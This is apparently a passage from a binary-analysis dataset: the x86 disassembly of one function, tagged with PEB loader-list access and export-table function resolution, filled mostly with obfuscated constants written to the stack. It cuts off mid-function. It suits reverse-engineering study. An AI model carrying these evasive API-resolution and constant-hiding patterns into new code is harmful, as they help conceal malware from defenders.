Function at 0x4034d0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x990
mov esi, esp
mov dword [esi + 0x978], ebp
mov eax, 0xfa0db847
mov ecx, 0x36974ef4
mov edx, 0xee2321ee
mov edi, 0x2ec34456
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x50], xmm2
mov eax, 0xc52e74e7
mov ecx, 0xee1180ba
mov edx, 0x5c8679b0
mov edi, 0xc73362cd
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xa0], xmm2
mov eax, 0x1486a8e3
mov ecx, 0x8c8b1f7a
mov edx, 0x7c72891f
mov edi, 0x69ca5398
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x90], xmm2
mov eax, 0x1fa926ee
mov ecx, 0x469ab649
mov edx, 0xeeb5333a
mov edi, 0xb05c4bc6
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x900], xmm2
mov eax, 0x53228402
mov ecx, 0x7a47b214
mov edx, 0xe5894c44
mov edi, 0x611b62dc
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8f0], xmm2
mov eax, 0x270099ec
mov ecx, 0xaf610c4d
mov edx, 0xc896e2be
mov edi, 0x73631cba
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8e0], xmm2
mov eax, 0x15dc8457
mov ecx, 0x4ba281ad
mov edx, 0x7f2edb7c
mov edi, 0x1295ad62
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x8d0], xmm0
mov eax, 0xa692f792
mov ecx, 0xf3213d51
mov edx, 0xdd9a80f3
mov edi, 0xe470a6d0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8c0], xmm2
mov eax, 0x2b24008f
mov ecx, 0xbf6349ff
mov edx, 0x48e4321d
mov edi, 0xb9568fd2
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8b0], xmm2
mov eax, 0xf21c8e2c
mov ecx, 0x22853121
mov edx, 0xe91956d2
mov edi, 0x196d118
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x8a0], xmm2
mov eax, 0xd735560b
mov ecx, 0x94f2928e
mov edx, 0x19a0c388
mov edi, 0x71e8e481
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x890], xmm2
mov eax, 0x191038b0
mov ecx, 0x23ba383e
mov edx, 0xc0ba8705
mov edi, 0x70551120
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x880], xmm2
mov eax, 0x7e365dc0
mov ecx, 0x658e76a1
mov edx, 0x24a9b9a4
mov edi, 0xad6e91d4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x870], xmm2
mov eax, 0x232bcaee
mov ecx, 0x91bff09e
mov edx, 0x5cf2ed7a
mov edi, 0x3829b914
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x860], xmm0
mov eax, 0x12351be8
mov ecx, 0xe8845764
mov edx, 0x4a48b511
mov edi, 0x5bcbef37
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x850], xmm2
mov eax, 0x9dd8963e
mov ecx, 0xb927502f
mov edx, 0x12630136
mov edi, 0x79d170bf
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x840], xmm2
mov eax, 0x4d1ae6f4
mov ecx, 0xd9ef400c
mov edx, 0xc5adf20b
mov edi, 0xa002ed65
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x830], xmm2
mov eax, 0x544a2839
mov ecx, 0x1f2bd2e3
mov edx, 0xa9d13cef
mov edi, 0x46801359
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x820], xmm2
mov eax, 0x17e749d6
mov ecx, 0x4264260a
mov edx, 0x6ced0998
mov edi, 0xfe655f0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x810], xmm2
mov eax, 0x98786f34
mov ecx, 0xd69a2cca
mov edx, 0xa9dca6bc
mov edi, 0x53eb7e92
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x800], xmm2
mov eax, 0x88775c11
mov ecx, 0x6289aa19
mov edx, 0xbb0d3abd
mov edi, 0xa83eff4c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x7f0], xmm0
mov eax, 0xcd6a3cac
mov ecx, 0x7022ff12
mov edx, 0xff4a6d64
mov edi, 0x3f56acda
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7e0], xmm2
mov eax, 0xffc6293
mov ecx, 0xc0259ede
mov edx, 0x303a56aa
mov edi, 0xd81cc7f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7d0], xmm2
mov eax, 0xac809dcc
mov ecx, 0x6b212d0f
mov edx, 0xb7d7ecd5
mov edi, 0x2c644dec
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7c0], xmm2
mov eax, 0x71b40889
mov ecx, 0x3cb7ae4c
mov edx, 0xd8329db
mov edi, 0x76e70037
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7b0], xmm2
mov eax, 0xeec08ca6
mov ecx, 0x7a9e0b67
mov edx, 0xe87757a8
mov edi, 0xc15cab81
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x7a0], xmm2
mov eax, 0xc7ccec34
mov ecx, 0x47c0e57f
mov edx, 0xc6c59bda
mov edi, 0xc305673b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x790], xmm2
mov eax, 0xb3fc3011
mov ecx, 0x667e1926
mov edx, 0xb9141071
mov edi, 0x5835bb7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x780], xmm0
mov eax, 0xd7a1a6ca
mov ecx, 0x414ab8d6
mov edx, 0x804d7e5a
mov edi, 0x85ded947
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x770], xmm2
mov eax, 0x72e75f3d
mov ecx, 0x26af4e17
mov edx, 0x62b0089b
mov edi, 0xc0f480b5
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x760], xmm2
mov eax, 0x5792f4a4
mov ecx, 0x95325427
mov edx, 0x5bbb13de
mov edi, 0xb3eb552a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x750], xmm2
mov eax, 0x5d0fd702
mov ecx, 0xdec0854c
mov edx, 0x68a62dd0
mov edi, 0x8443d88c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x740], xmm2
mov eax, 0x1befaa1
mov ecx, 0x5a748bc4
mov edx, 0x9278524e
mov edi, 0xf85353d8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x730], xmm2
mov eax, 0x9e8e229b
mov ecx, 0xf6a5cc3d
mov edx, 0xde84f295
mov edi, 0x5966872f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x720], xmm2
mov eax, 0x70043ee8
mov ecx, 0x9fba706b
mov edx, 0xc2812f78
mov edi, 0x8d3163e8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x710], xmm0
mov eax, 0x171257b4
mov ecx, 0x99b031c8
mov edx, 0x9e00636d
mov edi, 0x4e1cc84f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x700], xmm2
mov eax, 0x233afe16
mov ecx, 0x74961e8f
mov edx, 0x67c4f7d2
mov edi, 0x7a2452b9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6f0], xmm2
mov eax, 0x1a861177
mov ecx, 0xf0854ac4
mov edx, 0xef5f88d
mov edi, 0x9d855a4e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6e0], xmm2
mov eax, 0x1ded9bb9
mov ecx, 0x88feb6c7
mov edx, 0x2f7858b5
mov edi, 0x658932c0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6d0], xmm2
mov eax, 0xb11e3bd1
mov ecx, 0x41ccf2ad
mov edx, 0xe018fe5d
mov edi, 0xbfbce477
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6c0], xmm2
mov eax, 0x771ecf5e
mov ecx, 0x372f650b
mov edx, 0x171f77f6
mov edi, 0xfe781202
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x6b0], xmm2
mov eax, 0x150cb954
mov ecx, 0xa95ba9d7
mov edx, 0x881fd0b2
mov edi, 0xbc79f555
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x6a0], xmm0
mov eax, 0xa7b1e8fb
mov ecx, 0x935cd206
mov edx, 0x32c06258
mov edi, 0x5589c934
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x690], xmm2
mov eax, 0x78c9f35e
mov ecx, 0x76858c66
mov edx, 0x229dfd7c
mov edi, 0x75057f00
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x680], xmm2
mov eax, 0x68f3dfe2
mov ecx, 0x2d309af
mov edx, 0x8073957f
mov edi, 0x97aeced4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x670], xmm2
mov eax, 0x2af373e2
mov ecx, 0xe3bd2df4
mov edx, 0x6396973a
mov edi, 0x8a29f65d
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x660], xmm2
mov eax, 0x1915c67d
mov ecx, 0x3b5993a8
mov edx, 0x51fe5fc7
mov edi, 0xade92bb3
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x650], xmm2
mov eax, 0xa57840c6
mov ecx, 0xb348d40
mov edx, 0xde33ab42
mov edi, 0x8a7dfd67
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x640], xmm2
mov eax, 0xab138f80
mov ecx, 0x2abc15c1
mov edx, 0x9e059c1c
mov edi, 0xa2337eae
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x630], xmm0
mov eax, 0xe8674afd
mov ecx, 0xe751f015
mov edx, 0x39f70a75
mov edi, 0x5e97183f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x620], xmm2
mov eax, 0xb8319c78
mov ecx, 0x41c30313
mov edx, 0x395a74b5
mov edi, 0xe704d5fa
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x610], xmm2
mov eax, 0xc5a16d59
mov ecx, 0x433f83e1
mov edx, 0xe11103cb
mov edi, 0xa6a5b809
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x600], xmm2
mov eax, 0x63fae6ea
mov ecx, 0xe30f6e20
mov edx, 0x863db694
mov edi, 0xca6a7c11
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5f0], xmm2
mov eax, 0x3eaf3d55
mov ecx, 0x47a9c4af
mov edx, 0xedcc639e
mov edi, 0x992c6258
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5e0], xmm2
mov eax, 0x27dcd92
mov ecx, 0x13c5df1a
mov edx, 0x30ee49ff
mov edi, 0xa480563
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5d0], xmm2
mov eax, 0x67531e07
mov ecx, 0x425af762
mov edx, 0x8c54fe07
mov edi, 0x9ed58a7b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x5c0], xmm0
mov eax, 0x131bb741
mov ecx, 0x5ddabcdb
mov edx, 0xea864974
mov edi, 0x97ba57f8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5b0], xmm2
mov eax, 0xa6ae6476
mov ecx, 0xa54f14ad
mov edx, 0x7edc5a93
mov edi, 0xd31a3d70
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x5a0], xmm2
mov eax, 0xbbb29eca
mov ecx, 0x9ae0c923
mov edx, 0xca2445c0
mov edi, 0x15ee45a8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x590], xmm2
mov eax, 0xe9af3920
mov ecx, 0xd0211878
mov edx, 0xe7fdbe22
mov edi, 0x98934d6c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x580], xmm2
mov eax, 0xcb77b387
mov ecx, 0xb24314d5
mov edx, 0xd02ecfdd
mov edi, 0xe427168f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x570], xmm2
mov eax, 0xd3642425
mov ecx, 0xfcc374d5
mov edx, 0x82f9c62e
mov edi, 0x12c1bd93
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x560], xmm2
mov eax, 0xbe156a11
mov ecx, 0xce224eaa
mov edx, 0xea16ec0
mov edi, 0x385eabd1
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x550], xmm0
mov eax, 0x9074be65
mov ecx, 0x69e7abb1
mov edx, 0x73db1d6b
mov edi, 0x534e1290
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x540], xmm2
mov eax, 0xf6ca5a9a
mov ecx, 0x7b561b75
mov edx, 0x42480c5e
mov edi, 0x4f3bc60e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x530], xmm2
mov eax, 0x592850bd
mov ecx, 0x46c78cfb
mov edx, 0x19d31592
mov edi, 0xc322aec0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm4, eax
punpckldq xmm4, xmm0
punpcklqdq xmm4, xmm1
mov eax, 0x779af8cf
mov ecx, 0xb20bac90
mov edx, 0x924e8a50
mov edi, 0x2060f3f5
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm5, eax
punpckldq xmm5, xmm0
punpcklqdq xmm5, xmm1
mov eax, 0x4dfc91ec
mov ecx, 0x845089cb
mov edx, 0xa5a92d6a
mov edi, 0xcce15290
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm6, eax
punpckldq xmm6, xmm0
punpcklqdq xmm6, xmm1
mov eax, 0xd5228caa
mov ecx, 0xc8edde59
mov edx, 0x90f2f960
mov edi, 0xcd80046a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm7, eax
punpckldq xmm7, xmm0
punpcklqdq xmm7, xmm1
mov eax, 0x57fe3e9e
mov ecx, 0x1cd4dfa7
mov edx, 0xe9f43f16
mov edi, 0x9404f3c8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm3, eax
punpckldq xmm3, xmm2
punpcklqdq xmm3, xmm1
mov eax, 0x57dc3f37
mov ecx, 0xb6f9dd50
mov edx, 0x40826dd8
mov edi, 0xb8120a69
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
mov dword [esi + 0x97c], esp
mov dword [esi + 0x988], 0xffffffff
lea eax, [esi + 0x980]
mov dword [esi + 0x984], 0x4191f0
mov ecx, dword fs:[0]
mov dword [esi + 0x980], ecx
mov dword fs:[0], eax
mov eax, 0xd3c5ec1
mov ecx, 0x93b07938
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0xe7115721
mov ecx, 0x120120db
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0xfa8250bb
mov ecx, 0x7f74ef4
mov dword [esi + 0x84], ecx
mov dword [esi + 0x88], eax
mov dword [esi + 0xb4], ecx
mov dword [esi + 0xb0], eax
mov eax, 0x8ac6a83c
mov ecx, 0xa5f316dd
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x80], eax
mov dword [esi + 0xbc], ecx
mov dword [esi + 0xb8], eax
mov eax, 0x97a578b5
mov ecx, 0xa4a68fae
mov dword [esi + 0x74], ecx
mov dword [esi + 0x78], eax
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc0], eax
mov eax, 0xd7794896
mov ecx, 0x7024abf
mov dword [esi + 0x6c], ecx
mov dword [esi + 0x70], eax
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xc8], eax
mov eax, 0x68e7944f
mov ecx, 0x4dab3378
mov dword [esi + 0xd4], ecx
mov dword [esi + 0xd0], eax
mov eax, 0xbb7384d0
mov ecx, 0x3b2526d1
mov dword [esi + 0xdc], ecx
mov dword [esi + 0xd8], eax
mov eax, 0xffbadb9
mov ecx, 0x47a6f4c2
mov dword [esi + 0xe4], ecx
mov dword [esi + 0xe0], eax
mov eax, 0x96f5b8ea
mov ecx, 0xfc288b43
mov dword [esi + 0xec], ecx
mov dword [esi + 0xe8], eax
mov eax, 0x1ba95403
mov ecx, 0x22cce20c
mov dword [esi + 0xf4], ecx
mov dword [esi + 0xf0], eax
mov eax, 0x605a4d64
mov ecx, 0x28271615
mov dword [esi + 0xfc], ecx
mov dword [esi + 0xf8], eax
mov eax, 0x138b66dd
mov ecx, 0x9eb70dc6
mov dword [esi + 0x104], ecx
mov dword [esi + 0x100], eax
mov eax, 0x7574e7e
mov ecx, 0x4ba41db7
mov dword [esi + 0x10c], ecx
mov dword [esi + 0x108], eax
mov eax, 0x1628f1b7
mov ecx, 0x369979d0
mov dword [esi + 0x114], ecx
mov dword [esi + 0x110], eax
mov eax, 0x27ceae58
mov ecx, 0x13b1f5e9
mov dword [esi + 0x11c], ecx
mov dword [esi + 0x118], eax
mov eax, 0xaa199141
mov ecx, 0xef79b61a
mov dword [esi + 0x124], ecx
mov dword [esi + 0x120], eax
mov eax, 0xd91153f2
mov ecx, 0x6da0a75b
mov dword [esi + 0x12c], ecx
mov dword [esi + 0x128], eax
mov eax, 0x700024cb
mov ecx, 0xe53a28a4
mov dword [esi + 0x134], ecx
mov dword [esi + 0x130], eax
mov eax, 0x1004cd4c
mov ecx, 0xabddd58d
mov dword [esi + 0x13c], ecx
mov dword [esi + 0x138], eax
mov eax, 0xde30ec5
mov ecx, 0x56ed6cde
mov dword [esi + 0x144], ecx
mov dword [esi + 0x140], eax
mov eax, 0x811926a6
mov ecx, 0x69f8b86f
mov dword [esi + 0x14c], ecx
mov dword [esi + 0x148], eax
mov eax, 0xa0793e5f
mov ecx, 0x410d95a8
mov dword [esi + 0x154], ecx
mov dword [esi + 0x150], eax
mov eax, 0x2b93b7e0
mov ecx, 0x38b8c81
mov dword [esi + 0x15c], ecx
mov dword [esi + 0x158], eax
mov eax, 0x714448c9
mov ecx, 0x249c4f72
mov dword [esi + 0x164], ecx
mov dword [esi + 0x160], eax
mov eax, 0x1b8b52fa
mov ecx, 0x23064273
mov dword [esi + 0x16c], ecx
mov dword [esi + 0x168], eax
mov eax, 0x61323593
mov ecx, 0xb071cd3c
mov dword [esi + 0x174], ecx
mov dword [esi + 0x170], eax
mov eax, 0x78c1eaf4
mov ecx, 0x456e91c5
mov dword [esi + 0x17c], ecx
mov dword [esi + 0x178], eax
mov eax, 0x232bc96d
mov ecx, 0x91cbf0f6
mov dword [esi + 0x184], ecx
mov dword [esi + 0x180], eax
mov eax, 0x5c82ed0e
mov ecx, 0x3813b967
mov dword [esi + 0x18c], ecx
mov dword [esi + 0x188], eax
mov eax, 0x121a1bc7
mov ecx, 0xe8e05700
mov dword [esi + 0x194], ecx
mov dword [esi + 0x190], eax
mov eax, 0x4a3bb568
mov ecx, 0x5ba7ef19
mov dword [esi + 0x19c], ecx
mov dword [esi + 0x198], eax
mov eax, 0x9dae9651
mov ecx, 0xb91d504a
mov dword [esi + 0x1a4], ecx
mov dword [esi + 0x1a0], eax
mov eax, 0x12570102
mov ecx, 0x79e5708b
mov dword [esi + 0x1ac], ecx
mov dword [esi + 0x1a8], eax
mov eax, 0x4d77e6db
mov ecx, 0xd98c4054
mov dword [esi + 0x1b4], ecx
mov dword [esi + 0x1b0], eax
mov eax, 0xc5fcf25c
mov ecx, 0xa02fed3d
mov dword [esi + 0x1bc], ecx
mov dword [esi + 0x1b8], eax
mov eax, 0x541e2855
mov ecx, 0x1f53d28e
mov dword [esi + 0x1c4], ecx
mov dword [esi + 0x1c0], eax
mov eax, 0xa98e3cb6
mov ecx, 0x46ee131f
mov dword [esi + 0x1cc], ecx
mov dword [esi + 0x1c8], eax
mov eax, 0x17b749ef
mov ecx, 0x420c2658
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], eax
mov eax, 0x6cd509f0
mov ecx, 0xfd055b1
mov dword [esi + 0x1dc], ecx
mov dword [esi + 0x1d8], eax
mov eax, 0x98316f59
mov ecx, 0xd6e32ca2
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e0], eax
mov eax, 0xa9e8a68a
mov ecx, 0x539f7ea3
mov dword [esi + 0x1ec], ecx
mov dword [esi + 0x1e8], eax
mov eax, 0x881f5c23
mov ecx, 0x62b8aa6c
